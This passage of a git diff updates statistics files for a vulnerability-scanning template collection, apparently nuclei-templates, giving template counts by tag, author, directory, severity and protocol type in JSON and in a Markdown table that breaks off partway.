+{"tags":[{"name":"cve","count":590},{"name":"panel","count":219},{"name":"xss","count":215},{"name":"wordpress","count":201},{"name":"exposure","count":196},{"name":"rce","count":187},{"name":"lfi","count":176},{"name":"cve2020","count":155},{"name":"wp-plugin","count":136},{"name":"tech","count":101},{"name":"cve2021","count":96},{"name":"config","count":91},{"name":"cve2019","count":87},{"name":"cve2018","count":76},{"name":"takeover","count":73},{"name":"","count":65},{"name":"token","count":64},{"name":"apache","count":64},{"name":"default-login","count":55},{"name":"iot","count":48},{"name":"cve2017","count":47},{"name":"file","count":46},{"name":"oob","count":44},{"name":"unauth","count":42},{"name":"sqli","count":35},{"name":"network","count":35},{"name":"cve2016","count":32},{"name":"ssrf","count":31},{"name":"workflow","count":30},{"name":"oracle","count":29},{"name":"logs","count":29},{"name":"misc","count":27},{"name":"atlassian","count":26},{"name":"jira","count":26},{"name":"redirect","count":25},{"name":"listing","count":24},{"name":"aem","count":19},{"name":"generic","count":19},{"name":"sap","count":18},{"name":"cisco","count":18},{"name":"cve2015","count":18},{"name":"disclosure","count":17},{"name":"springboot","count":15},{"name":"joomla","count":15},{"name":"cve2014","count":15},{"name":"cve2012","count":14},{"name":"debug","count":14},{"name":"struts","count":13},{"name":"cve2011","count":13},{"name":"misconfig","count":13},{"name":"android","count":13},{"name":"auth-bypass","count":13},{"name":"weblogic","count":12},{"name":"dns","count":12},{"name":"dlink","count":12},{"name":"jenkins","count":12},{"name":"adobe","count":12},{"name":"php","count":11},{"name":"zoho","count":11},{"name":"cve2013","count":11},{"name":"fuzz","count":11},{"name":"devops","count":11},{"name":"router","count":11},{"name":"magento","count":9},{"name":"cve2010","count":9},{"name":"ftp","count":8},{"name":"ruijie","count":8},{"name":"gitlab","count":8},{"name":"airflow","count":8},{"name":"xxe","count":8},{"name":"rails","count":8},{"name":"aws","count":8},{"name":"cnvd","count":8},{"name":"cve2009","count":7},{"name":"login","count":7},{"name":"scada","count":7},{"name":"vmware","count":7},{"name":"nginx","count":7},{"name":"rconfig","count":6},{"name":"backup","count":6},{"name":"api","count":6},{"name":"citrix","count":6},{"name":"laravel","count":6},{"name":"cms","count":6},{"name":"google","count":6},{"name":"jetty","count":6},{"name":"coldfusion","count":6},{"name":"dell","count":6},{"name":"solr","count":6},{"name":"java","count":5},{"name":"django","count":5},{"name":"phpmyadmin","count":5},{"name":"ibm","count":5},{"name":"wp-theme","count":5},{"name":"dedecms","count":5},{"name":"circarlife","count":5},{"name":"iis","count":5},{"name":"netgear","count":5},{"name":"files","count":5},{"name":"headless","count":5},{"name":"drupal","count":5},{"name":"fileupload","count":5},{"name":"ssti","count":5},{"name":"lucee","count":5},{"name":"confluence","count":5},{"name":"elastic","count":4},{"name":"solarwinds","count":4},{"name":"asp","count":4},{"name":"deserialization","count":4},{"name":"webserver","count":4},{"name":"artifactory","count":4},{"name":"jolokia","count":4},{"name":"crlf","count":4},{"name":"thinkphp","count":4},{"name":"zimbra","count":4},{"name":"samsung","count":4},{"name":"tomcat","count":4},{"name":"vpn","count":4},{"name":"traversal","count":4},{"name":"thinkcmf","count":4},{"name":"magmi","count":4},{"name":"hongdian","count":4},{"name":"docker","count":4},{"name":"moodle","count":4},{"name":"buffalo","count":4},{"name":"nodejs","count":4},{"name":"firmware","count":4},{"name":"windows","count":4},{"name":"cve2008","count":4},{"name":"nacos","count":3},{"name":"caucho","count":3},{"name":"git","count":3},{"name":"slack","count":3},{"name":"nosqli","count":3},{"name":"grafana","count":3},{"name":"symfony","count":3},{"name":"itop","count":3},{"name":"zhiyuan","count":3},{"name":"fpd","count":3},{"name":"microstrategy","count":3},{"name":"vbulletin","count":3},{"name":"log","count":3},{"name":"ssh","count":3},{"name":"amazon","count":3},{"name":"tikiwiki","count":3},{"name":"ebs","count":3},{"name":"opensis","count":3},{"name":"bitrix","count":3},{"name":"zabbix","count":3},{"name":"nexus","count":3},{"name":"printer","count":3},{"name":"targa","count":3},{"name":"r-seenet","count":3},{"name":"fanruan","count":3},{"name":"springcloud","count":3},{"name":"mongodb","count":3},{"name":"backups","count":3},{"name":"terramaster","count":3},{"name":"kafka","count":3},{"name":"openssh","count":3},{"name":"resin","count":3},{"name":"microsoft","count":3},{"name":"httpd","count":3},{"name":"wso2","count":3},{"name":"lfr","count":3},{"name":"kevinlab","count":3},{"name":"hp","count":3},{"name":"ofbiz","count":3},{"name":"bypass","count":3},{"name":"kubernetes","count":3},{"name":"oa","count":3},{"name":"globalprotect","count":2},{"name":"guacamole","count":2},{"name":"telerik","count":2},{"name":"vrealize","count":2},{"name":"maian","count":2},{"name":"seeyon","count":2},{"name":"phpcollab","count":2},{"name":"openam","count":2},{"name":"smb","count":2},{"name":"pega","count":2},{"name":"akamai","count":2},{"name":"mida","count":2},{"name":"activemq","count":2},{"name":"horde","count":2},{"name":"splunk","count":2},{"name":"sonarqube","count":2},{"name":"dolibarr","count":2},{"name":"status","count":2},{"name":"waf","count":2},{"name":"backdoor","count":2},{"name":"voipmonitor","count":2},{"name":"wordfence","count":2},{"name":"kentico","count":2},{"name":"glassfish","count":2},{"name":"linkerd","count":2},{"name":"natshell","count":2},{"name":"emerge","count":2},{"name":"jellyfin","count":2},{"name":"chiyu","count":2},{"name":"oauth","count":2},{"name":"avantfax","count":2},{"name":"leak","count":2},{"name":"nagios","count":2},{"name":"service","count":2},{"name":"idrac","count":2},{"name":"webcam","count":2},{"name":"rockethchat","count":2},{"name":"icewarp","count":2},{"name":"ucmdb","count":2},{"name":"nextjs","count":2},{"name":"prometheus","count":2},{"name":"flir","count":2},{"name":"spark","count":2},{"name":"frp","count":2},{"name":"plesk","count":2},{"name":"couchdb","count":2},{"name":"chamilo","count":2},{"name":"showdoc","count":2},{"name":"jboss","count":2},{"name":"intrusive","count":2},{"name":"sonicwall","count":2},{"name":"paloalto","count":2},{"name":"hashicorp","count":2},{"name":"ecology","count":2},{"name":"azure","count":2},{"name":"grav","count":2},{"name":"huawei","count":2},{"name":"strapi","count":2},{"name":"igs","count":2},{"name":"bigip","count":2},{"name":"proxy","count":2},{"name":"shellshock","count":2},{"name":"saltstack","count":2},{"name":"keycloak","count":2},{"name":"github","count":2},{"name":"openfire","count":2},{"name":"jeedom","count":2},{"name":"sharepoint","count":2},{"name":"dos","count":2},{"name":"kibana","count":2},{"name":"exchange","count":2},{"name":"hjtcloud","count":2},{"name":"jsf","count":2},{"name":"odoo","count":2},{"name":"injection","count":2},{"name":"fortios","count":2},{"name":"akkadian","count":2},{"name":"hpe","count":2},{"name":"xxljob","count":2},{"name":"cve2007","count":2},{"name":"smtp","count":2},{"name":"mail","count":2},{"name":"rstudio","count":2},{"name":"trixbox","count":2},{"name":"cache","count":2},{"name":"hasura","count":2},{"name":"yapi","count":2},{"name":"rockmongo","count":2},{"name":"cve2005","count":2},{"name":"bigbluebutton","count":1},{"name":"glances","count":1},{"name":"gridx","count":1},{"name":"wavlink","count":1},{"name":"plc","count":1},{"name":"uwsgi","count":1},{"name":"xunchi","count":1},{"name":"spf","count":1},{"name":"mirai","count":1},{"name":"exposures","count":1},{"name":"wifisky","count":1},{"name":"qvisdvr","count":1},{"name":"wildfly","count":1},{"name":"keenetic","count":1},{"name":"opm","count":1},{"name":"alibaba","count":1},{"name":"ambari","count":1},{"name":"sidekiq","count":1},{"name":"spectracom","count":1},{"name":"svn","count":1},{"name":"visionhub","count":1},{"name":"zarafa","count":1},{"name":"fortilogger","count":1},{"name":"enumeration","count":1},{"name":"chinaunicom","count":1},{"name":"phpunit","count":1},{"name":"cherokee","count":1},{"name":"getsimple","count":1},{"name":"acexy","count":1},{"name":"parentlink","count":1},{"name":"sar2html","count":1},{"name":"webui","count":1},{"name":"openemr","count":1},{"name":"emby","count":1},{"name":"circontrorl","count":1},{"name":"yealink","count":1},{"name":"opencast","count":1},{"name":"clockwatch","count":1},{"name":"mpsec","count":1},{"name":"cors","count":1},{"name":"oneblog","count":1},{"name":"tensorflow","count":1},{"name":"linkedin","count":1},{"name":"dotnetnuke","count":1},{"name":"mediumish","count":1},{"name":"cloudinary","count":1},{"name":"redcap","count":1},{"name":"cobub","count":1},{"name":"jeewms","count":1},{"name":"sangfor","count":1},{"name":"bookstack","count":1},{"name":"hiboss","count":1},{"name":"mariadb","count":1},{"name":"ilo4","count":1},{"name":"nomad","count":1},{"name":"lancom","count":1},{"name":"cacti","count":1},{"name":"nexusdb","count":1},{"name":"fortiweb","count":1},{"name":"rubedo","count":1},{"name":"tpshop","count":1},{"name":"azkaban","count":1},{"name":"iptime","count":1},{"name":"clink-office","count":1},{"name":"accela","count":1},{"name":"alertmanager","count":1},{"name":"csod","count":1},{"name":"codemeter","count":1},{"name":"gitlist","count":1},{"name":"mcafee","count":1},{"name":"optiLink","count":1},{"name":"tongda","count":1},{"name":"mailchimp","count":1},{"name":"krweb","count":1},{"name":"api-manager","count":1},{"name":"node","count":1},{"name":"aura","count":1},{"name":"netrc","count":1},{"name":"k8s","count":1},{"name":"mongo","count":1},{"name":"sureline","count":1},{"name":"extractor","count":1},{"name":"manageengine","count":1},{"name":"h3c-imc","count":1},{"name":"rhymix","count":1},{"name":"octobercms","count":1},{"name":"redwood","count":1},{"name":"faraday","count":1},{"name":"calendarix","count":1},{"name":"embedthis","count":1},{"name":"mobileiron","count":1},{"name":"tika","count":1},{"name":"centos","count":1},{"name":"aspnuke","count":1},{"name":"openerp","count":1},{"name":"seacms","count":1},{"name":"nc2","count":1},{"name":"perl","count":1},{"name":"floc","count":1},{"name":"clusterengine","count":1},{"name":"salesforce","count":1},{"name":"wazuh","count":1},{"name":"memcached","count":1},{"name":"viewpoint","count":1},{"name":"lighttpd","count":1},{"name":"checkpoint","count":1},{"name":"varnish","count":1},{"name":"razor","count":1},{"name":"linux","count":1},{"name":"expressjs","count":1},{"name":"klog","count":1},{"name":"pgadmin","count":1},{"name":"ricoh","count":1},{"name":"servicedesk","count":1},{"name":"ecom","count":1},{"name":"hortonworks","count":1},{"name":"tapestry","count":1},{"name":"sprintful","count":1},{"name":"fuelcms","count":1},{"name":"ueditor","count":1},{"name":"qdpm","count":1},{"name":"gotmls","count":1},{"name":"sgp","count":1},{"name":"portainer","count":1},{"name":"skywalking","count":1},{"name":"thinkadmin","count":1},{"name":"rmi","count":1},{"name":"weiphp","count":1},{"name":"rdp","count":1},{"name":"sourcebans","count":1},{"name":"wondercms","count":1},{"name":"firebase","count":1},{"name":"rfi","count":1},{"name":"smartsense","count":1},{"name":"magicflow","count":1},{"name":"zenario","count":1},{"name":"xvr","count":1},{"name":"javascript","count":1},{"name":"rabbitmq","count":1},{"name":"lg-nas","count":1},{"name":"db","count":1},{"name":"scimono","count":1},{"name":"avalanche","count":1},{"name":"clave","count":1},{"name":"auth","count":1},{"name":"flash","count":1},{"name":"wing-ftp","count":1},{"name":"rujjie","count":1},{"name":"scs","count":1},{"name":"panos","count":1},{"name":"vnc","count":1},{"name":"moinmoin","count":1},{"name":"lansweeper","count":1},{"name":"zend","count":1},{"name":"vsftpd","count":1},{"name":"darkstat","count":1},{"name":"flink","count":1},{"name":"concrete","count":1},{"name":"zte","count":1},{"name":"cofax","count":1},{"name":"resourcespace","count":1},{"name":"ruby","count":1},{"name":"cgi","count":1},{"name":"ntopng","count":1},{"name":"gogs","count":1},{"name":"sarg","count":1},{"name":"2014","count":1},{"name":"alerta","count":1},{"name":"geddy","count":1},{"name":"phalcon","count":1},{"name":"ems","count":1},{"name":"octoprint","count":1},{"name":"monitorix","count":1},{"name":"bullwark","count":1},{"name":"landray","count":1},{"name":"apos","count":1},{"name":"discord","count":1},{"name":"tileserver","count":1},{"name":"subrion","count":1},{"name":"blue-ocean","count":1},{"name":"centreon","count":1},{"name":"gespage","count":1},{"name":"xml","count":1},{"name":"websvn","count":1},{"name":"logontracer","count":1},{"name":"jmx","count":1},{"name":"powercreator","count":1},{"name":"74cms","count":1},{"name":"influxdb","count":1},{"name":"timesheet","count":1},{"name":"b2evolution","count":1},{"name":"redis","count":1},{"name":"xmlchart","count":1},{"name":"wiki","count":1},{"name":"sage","count":1},{"name":"exacqvision","count":1},{"name":"linksys","count":1},{"name":"rmc","count":1},{"name":"plugin","count":1},{"name":"bash","count":1},{"name":"stem","count":1},{"name":"trilithic","count":1},{"name":"webmin","count":1},{"name":"pulsesecure","count":1},{"name":"xiuno","count":1},{"name":"expn","count":1},{"name":"ruckus","count":1},{"name":"jitsi","count":1},{"name":"beanshell","count":1},{"name":"mysql","count":1},{"name":"ulterius","count":1},{"name":"ssltls","count":1},{"name":"eprints","count":1},{"name":"myucms","count":1},{"name":"javamelody","count":1},{"name":"zeroshell","count":1},{"name":"fortinet","count":1},{"name":"node-red-dashboard","count":1},{"name":"xdcms","count":1},{"name":"nette","count":1},{"name":"sceditor","count":1},{"name":"sentry","count":1},{"name":"nps","count":1},{"name":"primetek","count":1},{"name":"wamp","count":1},{"name":"webadmin","count":1},{"name":"jfrog","count":1},{"name":"netis","count":1},{"name":"postmessage","count":1},{"name":"haproxy","count":1},{"name":"goahead","count":1},{"name":"bitly","count":1},{"name":"blind","count":1},{"name":"netdata","count":1},{"name":"cse","count":1},{"name":"fortigates","count":1},{"name":" default-login","count":1},{"name":"zyxel","count":1},{"name":"bolt","count":1},{"name":"cocoon","count":1},{"name":"aruba","count":1},{"name":"ioncube","count":1},{"name":"webftp","count":1},{"name":"adminer","count":1},{"name":"empirecms","count":1},{"name":"viewlinc","count":1},{"name":"plastic","count":1},{"name":"dompdf","count":1},{"name":"k8","count":1},{"name":"zcms","count":1},{"name":"esmtp","count":1},{"name":"cve2006","count":1},{"name":"yachtcontrol","count":1},{"name":"anchorcms","count":1},{"name":"twitter-server","count":1},{"name":"soar","count":1},{"name":"huijietong","count":1},{"name":"svnserve","count":1},{"name":"dotnet","count":1},{"name":"dvwa","count":1},{"name":"htmli","count":1},{"name":"kyan","count":1},{"name":"nuuo","count":1},{"name":"opensmtpd","count":1},{"name":"postgres","count":1},{"name":"labtech","count":1},{"name":"cerebro","count":1},{"name":"nedi","count":1},{"name":"codeigniter","count":1},{"name":"jenzabar","count":1},{"name":"froxlor","count":1},{"name":"springframework","count":1},{"name":"zookeeper","count":1},{"name":"javafaces","count":1},{"name":"metinfo","count":1},{"name":"pyramid","count":1},{"name":"kafdrop","count":1},{"name":"mdb","count":1},{"name":"harbor","count":1},{"name":"upload","count":1},{"name":"gloo","count":1},{"name":"fastapi","count":1},{"name":"default","count":1},{"name":"prestashop","count":1},{"name":"socomec","count":1},{"name":"favicon","count":1},{"name":"pacsone","count":1},{"name":"argussurveillance","count":1},{"name":"doh","count":1},{"name":"proftpd","count":1},{"name":"avtech","count":1},{"name":"nuxeo","count":1},{"name":"panabit","count":1},{"name":"qcubed","count":1},{"name":"tamronos","count":1},{"name":"bruteforce","count":1},{"name":"qsan","count":1},{"name":"st","count":1},{"name":"pippoint","count":1},{"name":"nweb2fax","count":1},{"name":"triconsole","count":1},{"name":"achecker","count":1},{"name":"servicenow","count":1},{"name":"dotclear","count":1},{"name":"acontent","count":1},{"name":"email","count":1},{"name":"glpi","count":1},{"name":"shopxo","count":1},{"name":"selea","count":1},{"name":"majordomo2","count":1},{"name":"spidercontrol","count":1},{"name":"openstack","count":1},{"name":"wooyun","count":1},{"name":"axis","count":1},{"name":"lutron","count":1},{"name":"office365","count":1},{"name":"diris","count":1},{"name":"solman","count":1},{"name":"turbocrm","count":1},{"name":"ganglia","count":1},{"name":"zm","count":1},{"name":"vscode","count":1},{"name":"chevereto","count":1},{"name":"openrestry","count":1},{"name":"monitorr","count":1},{"name":"spring","count":1},{"name":"jenkin","count":1},{"name":"redhat","count":1},{"name":"mautic","count":1},{"name":"camunda","count":1},{"name":"tenda","count":1},{"name":"opensns","count":1},{"name":"interlib","count":1},{"name":"duomicms","count":1},{"name":"biometrics","count":1},{"name":"totaljs","count":1},{"name":"sco","count":1},{"name":"acme","count":1},{"name":"liferay","count":1},{"name":"ssl","count":1},{"name":"yii","count":1},{"name":"realteo","count":1},{"name":"comodo","count":1},{"name":"xff","count":1},{"name":"landrayoa","count":1},{"name":"npm","count":1},{"name":"idemia","count":1},{"name":"apiman","count":1},{"name":"starttls","count":1},{"name":"appweb","count":1},{"name":"visualtools","count":1},{"name":"dom","count":1},{"name":"enum","count":1},{"name":"crm","count":1},{"name":"opentsdb","count":1},{"name":"emc","count":1},{"name":"openx","count":1},{"name":"feifeicms","count":1},{"name":"maccmsv10","count":1},{"name":"oscommerce","count":1},{"name":"tensorboard","count":1},{"name":"gateone","count":1},{"name":"hadoop","count":1},{"name":"circontrol","count":1},{"name":"etouch","count":1},{"name":"expose","count":1},{"name":"swagger","count":1},{"name":"phpinfo","count":1},{"name":"zzzcms","count":1},{"name":"eyou","count":1},{"name":"shopware","count":1},{"name":"druid","count":1},{"name":"kerbynet","count":1},{"name":"lanproxy","count":1},{"name":"traefik","count":1},{"name":"finereport","count":1},{"name":"webmodule-ee","count":1},{"name":"plone","count":1},{"name":"phpfusion","count":1},{"name":"drone","count":1},{"name":"moin","count":1},{"name":"upnp","count":1},{"name":"lotuscms","count":1},{"name":"saltapi","count":1},{"name":"woocomernce","count":1},{"name":"mongoshake","count":1},{"name":"livezilla","count":1},{"name":"fedora","count":1},{"name":"payara","count":1},{"name":"mantisbt","count":1},{"name":"grails","count":1},{"name":"csrf","count":1},{"name":"jquery","count":1},{"name":"erp-nc","count":1},{"name":"vsphere","count":1},{"name":"synnefo","count":1},{"name":"cloudflare","count":1},{"name":"kubeflow","count":1},{"name":"ns","count":1},{"name":"timeclock","count":1},{"name":"spip","count":1},{"name":"wavemaker","count":1},{"name":"geutebruck","count":1},{"name":"sqlite","count":1},{"name":"setup","count":1},{"name":"robomongo","count":1},{"name":"mantis","count":1},{"name":"ec2","count":1},{"name":"szhe","count":1},{"name":"discourse","count":1},{"name":"ewebs","count":1},{"name":"pagespeed","count":1},{"name":"dvr","count":1},{"name":"ghost","count":1},{"name":"fortigate","count":1},{"name":"netsweeper","count":1},{"name":"mara","count":1},{"name":"arl","count":1},{"name":"fastcgi","count":1},{"name":"bedita","count":1},{"name":"nordex","count":1},{"name":"tieline","count":1},{"name":"domxss","count":1},{"name":"commscope","count":1},{"name":"addpac","count":1},{"name":"jsp","count":1},{"name":"fiori","count":1},{"name":"heroku","count":1},{"name":"rsyncd","count":1},{"name":"jnoj","count":1},{"name":"kong","count":1},{"name":"sitecore","count":1},{"name":"episerver","count":1},{"name":"dnssec","count":1},{"name":"zmanda","count":1},{"name":"blackboard","count":1},{"name":"nsasg","count":1},{"name":"wuzhicms","count":1},{"name":"wmt","count":1}],"authors":[{"name":"dhiyaneshdk","count":239},{"name":"pikpikcu","count":237},{"name":"pdteam","count":194},{"name":"daffainfo","count":136},{"name":"dwisiswant0","count":128},{"name":"geeknik","count":127},{"name":"gy741","count":68},{"name":"madrobot","count":60},{"name":"princechaddha","count":53},{"name":"gaurang","count":42},{"name":"pussycat0x","count":41},{"name":"ice3man","count":26},{"name":"organiccrap","count":24},{"name":"0x_akoko","count":23},{"name":"philippedelteil","count":17},{"name":"sheikhrishad","count":15},{"name":"milo2012","count":14},{"name":"pr3r00t","count":13},{"name":"techbrunchfr","count":13},{"name":"suman_kar","count":12},{"name":"cyllective","count":11},{"name":"righettod","count":10},{"name":"r3dg33k","count":10},{"name":"random_robbie","count":10},{"name":"wdahlenb","count":9},{"name":"hackergautam","count":9},{"name":"iamthefrogy","count":8},{"name":"aashiq","count":8},{"name":"nadino","count":8},{"name":"that_juan_","count":8},{"name":"melbadry9","count":8},{"name":"harshbothra_","count":7},{"name":"randomstr1ng","count":7},{"name":"0x240x23elu","count":7},{"name":"oppsec","count":7},{"name":"techryptic (@tech)","count":7},{"name":"kophjager007","count":7},{"name":"dr_set","count":7},{"name":"emadshanab","count":7},{"name":"__fazal","count":6},{"name":"caspergn","count":6},{"name":"puzzlepeaches","count":6},{"name":"pentest_swissky","count":5},{"name":"yanyun","count":5},{"name":"joanbono","count":5},{"name":"ganofins","count":5},{"name":"iamnoooob","count":5},{"name":"rootxharsh","count":5},{"name":"meme-lord","count":5},{"name":"panch0r3d","count":5},{"name":"elsfa7110","count":4},{"name":"xelkomy","count":4},{"name":"e_schultze_","count":4},{"name":"github.com/its0x08","count":4},{"name":"nodauf","count":4},{"name":"f1tz","count":3},{"name":"dudez","count":3},{"name":"jarijaas","count":3},{"name":"impramodsargar","count":3},{"name":"yash anand @yashanand155","count":3},{"name":"0w4ys","count":3},{"name":"vsh00t","count":3},{"name":"shine","count":3},{"name":"_generic_human_","count":3},{"name":"fyoorer","count":3},{"name":"tess","count":3},{"name":"emenalf","count":3},{"name":"thomas_from_offensity","count":3},{"name":"z3bd","count":3},{"name":"binaryfigments","count":3},{"name":"mavericknerd","count":3},{"name":"shifacyclewala","count":3},{"name":"0xprial","count":2},{"name":"swissky","count":2},{"name":"joeldeleep","count":2},{"name":"0xcrypto","count":2},{"name":"vavkamil","count":2},{"name":"random-robbie","count":2},{"name":"manas_harsh","count":2},{"name":"randomrobbie","count":2},{"name":"0xrudra","count":2},{"name":"lotusdll","count":2},{"name":"ehsahil","count":2},{"name":"x1m_martijn","count":2},{"name":"kiblyn11","count":2},{"name":"nkxxkn","count":2},{"name":"parth","count":2},{"name":"sushantkamble","count":2},{"name":"hahwul","count":2},{"name":"foulenzer","count":2},{"name":"incogbyte","count":2},{"name":"dheerajmadhukar","count":2},{"name":"fabaff","count":2},{"name":"unstabl3","count":2},{"name":"koti2","count":2},{"name":"pxmme1337","count":2},{"name":"moritz nentwig","count":2},{"name":"gevakun","count":2},{"name":"bsysop","count":2},{"name":"0xelkomy","count":2},{"name":"davidmckennirey","count":2},{"name":"afaq","count":2},{"name":"bing0o","count":2},{"name":"amsda","count":2},{"name":"udit_thakkur","count":2},{"name":"0xsapra","count":2},{"name":"zomsop82","count":2},{"name":"ree4pwn","count":2},{"name":"alifathi-h1","count":2},{"name":"lu4nx","count":2},{"name":"bp0lr","count":2},{"name":"gal nagli","count":2},{"name":"hetroublemakr","count":2},{"name":"w4cky_","count":2},{"name":"mahendra purbia (mah3sec_)","count":2},{"name":"arcc","count":2},{"name":"soyelmago","count":1},{"name":"c3l3si4n","count":1},{"name":"j3ssie/geraldino2","count":1},{"name":"ooooooo_q","count":1},{"name":"flag007","count":1},{"name":"ivo palazzolo (@palaziv)","count":1},{"name":"huowuzhao","count":1},{"name":"chron0x","count":1},{"name":"0xtavian","count":1},{"name":"j33n1k4","count":1},{"name":"alph4byt3","count":1},{"name":"r3naissance","count":1},{"name":"s1r1u5_","count":1},{"name":"qlkwej","count":1},{"name":"undefl0w","count":1},{"name":"andysvints","count":1},{"name":"sy3omda","count":1},{"name":"52971","count":1},{"name":"d0rkerdevil","count":1},{"name":"pratik khalane","count":1},{"name":"akshansh","count":1},{"name":"@github.com/defr0ggy","count":1},{"name":"furkansenan","count":1},{"name":"nytr0gen","count":1},{"name":"yashgoti","count":1},{"name":"absshax","count":1},{"name":"abison_binoy","count":1},{"name":"0xteles","count":1},{"name":"ringo","count":1},{"name":"mesaglio","count":1},{"name":"cookiehanhoan","count":1},{"name":"_harleo","count":1},{"name":"daviey","count":1},{"name":"akash.c","count":1},{"name":"bernardo rodrigues @bernardofsr | andré monteiro @am0nt31r0","count":1},{"name":"pudsec","count":1},{"name":"yashanand155","count":1},{"name":"sid ahmed malaoui @ realistic security","count":1},{"name":"rojanrijal","count":1},{"name":"remonsec","count":1},{"name":"hanlaomo","count":1},{"name":"rodnt","count":1},{"name":"luskabol","count":1},{"name":"wabafet","count":1},{"name":"sickwell","count":1},{"name":"udyz","count":1},{"name":"berkdusunur","count":1},{"name":"rtcms","count":1},{"name":"mubassirpatel","count":1},{"name":"idealphase","count":1},{"name":"zhenwarx","count":1},{"name":"sullo","count":1},{"name":"schniggie","count":1},{"name":"jeya seelan","count":1},{"name":"micha3lb3n","count":1},{"name":"yavolo","count":1},{"name":"omarkurt","count":1},{"name":"noamrathaus","count":1},{"name":"bernardofsr","count":1},{"name":"its0x08","count":1},{"name":"iampritam","count":1},{"name":"mohammedsaneem","count":1},{"name":"juicypotato1","count":1},{"name":"mass0ma","count":1},{"name":"naglinagli","count":1},{"name":"streetofhackerr007 (rohit soni)","count":1},{"name":"un-fmunozs","count":1},{"name":"tirtha_mandal","count":1},{"name":"kabirsuda","count":1},{"name":"hakluke","count":1},{"name":"_c0wb0y_","count":1},{"name":"bjhulst","count":1},{"name":"aresx","count":1},{"name":"geraldino2","count":1},{"name":"adrianmf","count":1},{"name":"whynotke","count":1},{"name":"revblock","count":1},{"name":"g4l1t0 and @convisoappsec","count":1},{"name":"knassar702","count":1},{"name":"toufik airane","count":1},{"name":"gboddin","count":1},{"name":"elder tao","count":1},{"name":"_darrenmartyn","count":1},{"name":"apt-mirror","count":1},{"name":"jteles","count":1},{"name":"makyotox","count":1},{"name":"me9187","count":1},{"name":"raesene","count":1},{"name":"vzamanillo","count":1},{"name":"aaron_costello (@conspiracyproof)","count":1},{"name":"ohlinge","count":1},{"name":"thevillagehacker","count":1},{"name":"taielab","count":1},{"name":"ilovebinbash","count":1},{"name":"blckraven","count":1},{"name":"thezakman","count":1},{"name":"@dwisiswant0","count":1},{"name":"ldionmarcil","count":1},{"name":"shreyapohekar","count":1},{"name":"andirrahmani1","count":1},{"name":"dogasantos","count":1},{"name":"mhdsamx","count":1},{"name":"zandros0","count":1},{"name":"affix","count":1},{"name":"becivells","count":1},{"name":"aceseven (digisec360)","count":1},{"name":"notsoevilweasel","count":1},{"name":"ratnadip gajbhiye","count":1},{"name":"tim_koopmans","count":1},{"name":"smaranchand","count":1},{"name":"regala_","count":1},{"name":"th3.d1p4k","count":1},{"name":"pdp","count":1},{"name":"deena","count":1},{"name":"intx0x80","count":1},{"name":"manuelbua","count":1},{"name":"divya_mudgal","count":1},{"name":"dawid czarnecki","count":1},{"name":"0h1in9e","count":1},{"name":"ajaysenr","count":1},{"name":"willd96","count":1},{"name":"0xrod","count":1},{"name":"philippdelteil","count":1},{"name":"johnjhacking","count":1},{"name":"retr0","count":1},{"name":"alex","count":1},{"name":"defr0ggy","count":1},{"name":"johnk3r","count":1},{"name":"elmahdi","count":1},{"name":"ipanda","count":1},{"name":"0ut0fb4nd","count":1},{"name":"sshell","count":1},{"name":"b0yd","count":1},{"name":"sicksec","count":1},{"name":"petruknisme","count":1},{"name":"luci","count":1},{"name":"mah3sec_","count":1},{"name":"bad5ect0r","count":1},{"name":"patralos","count":1},{"name":"shifacyclewla","count":1},{"name":"shelld3v","count":1},{"name":"ahmed sherif","count":1},{"name":"kba@sogeti_esec","count":1},{"name":"alperenkesk","count":1},{"name":"fmunozs","count":1},{"name":"kareemse1im","count":1},{"name":"manikanta a.k.a @secureitmania","count":1},{"name":"streetofhackerr007","count":1},{"name":"co0nan","count":1},{"name":"b4uh0lz","count":1},{"name":"fopina","count":1},{"name":"bolli95","count":1},{"name":"exploitation","count":1},{"name":"kishore krishna (sillydaddy)","count":1},{"name":"kurohost","count":1}],"directory":[{"name":"cves","count":597},{"name":"vulnerabilities","count":265},{"name":"exposed-panels","count":221},{"name":"exposures","count":174},{"name":"technologies","count":159},{"name":"misconfiguration","count":124},{"name":"takeovers","count":70},{"name":"default-logins","count":51},{"name":"file","count":46},{"name":"workflows","count":35},{"name":"network","count":27},{"name":"miscellaneous","count":27},{"name":"iot","count":23},{"name":"dns","count":11},{"name":"cnvd","count":9},{"name":"fuzzing","count":8},{"name":"headless","count":5},{"name":".pre-commit-config.yaml","count":1}],"severity":[{"name":"info","count":583},{"name":"high","count":465},{"name":"medium","count":387},{"name":"critical","count":226},{"name":"low","count":156}],"types":[{"name":"http","count":1720},{"name":"file","count":46},{"name":"network","count":35},{"name":"dns","count":11}]} diff --git a/TEMPLATES-STATS.md b/TEMPLATES-STATS.md index f99c983619..685258af51 100644 --- a/TEMPLATES-STATS.md +++ b/TEMPLATES-STATS.md @@ -1,643 +1,706 @@ -| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | -|--------------------|-------|--------------------------------------------|-------|-------------------------|-------|----------|-------|---------|-------| -| cve | 511 | dhiyaneshdk | 220 | cves | 518 | info | 535 | http | 1566 | -| panel | 202 | pikpikcu | 195 | vulnerabilities | 246 | high | 426 | file | 42 | -| xss | 182 | pdteam | 187 | exposed-panels | 204 | medium | 349 | network | 35 | -| wordpress | 180 | dwisiswant0 | 126 | exposures | 168 | critical | 201 | dns | 10 | -| exposure | 176 | geeknik | 119 | technologies | 136 | low | 147 | | | -| rce | 173 | daffainfo | 99 | misconfiguration | 115 | | | | | -| cve2020 | 145 | madrobot | 60 | takeovers | 70 | | | | | -| lfi | 143 | princechaddha | 52 | default-logins | 49 | | | | | -| wp-plugin | 120 | gy741 | 48 | file | 42 | | | | | -| config | 90 | gaurang | 42 | workflows | 34 | | | | | -| cve2021 | 83 | pussycat0x | 34 | miscellaneous | 27 | | | | | -| cve2019 | 82 | ice3man | 26 | network | 27 | | | | | -| tech | 78 | organiccrap | 24 | iot | 22 | | | | | -| takeover | 72 | 0x_akoko | 20 | fuzzing | 10 | | | | | -| cve2018 | 66 | sheikhrishad | 15 | dns | 10 | | | | | -| | 66 | milo2012 | 14 | cnvd | 9 | | | | | -| token | 63 | philippedelteil | 14 | headless | 5 | | | | | -| apache | 61 | pr3r00t | 13 | .pre-commit-config.yaml | 1 | | | | | -| default-login | 50 | techbrunchfr | 13 | | | | | | | -| iot | 43 | suman_kar | 12 | | | | | | | -| cve2017 | 43 | cyllective | 11 | | | | | | | -| file | 42 | random_robbie | 10 | | | | | | | -| unauth | 40 | righettod | 9 | | | | | | | -| network | 35 | wdahlenb | 9 | | | | | | | -| 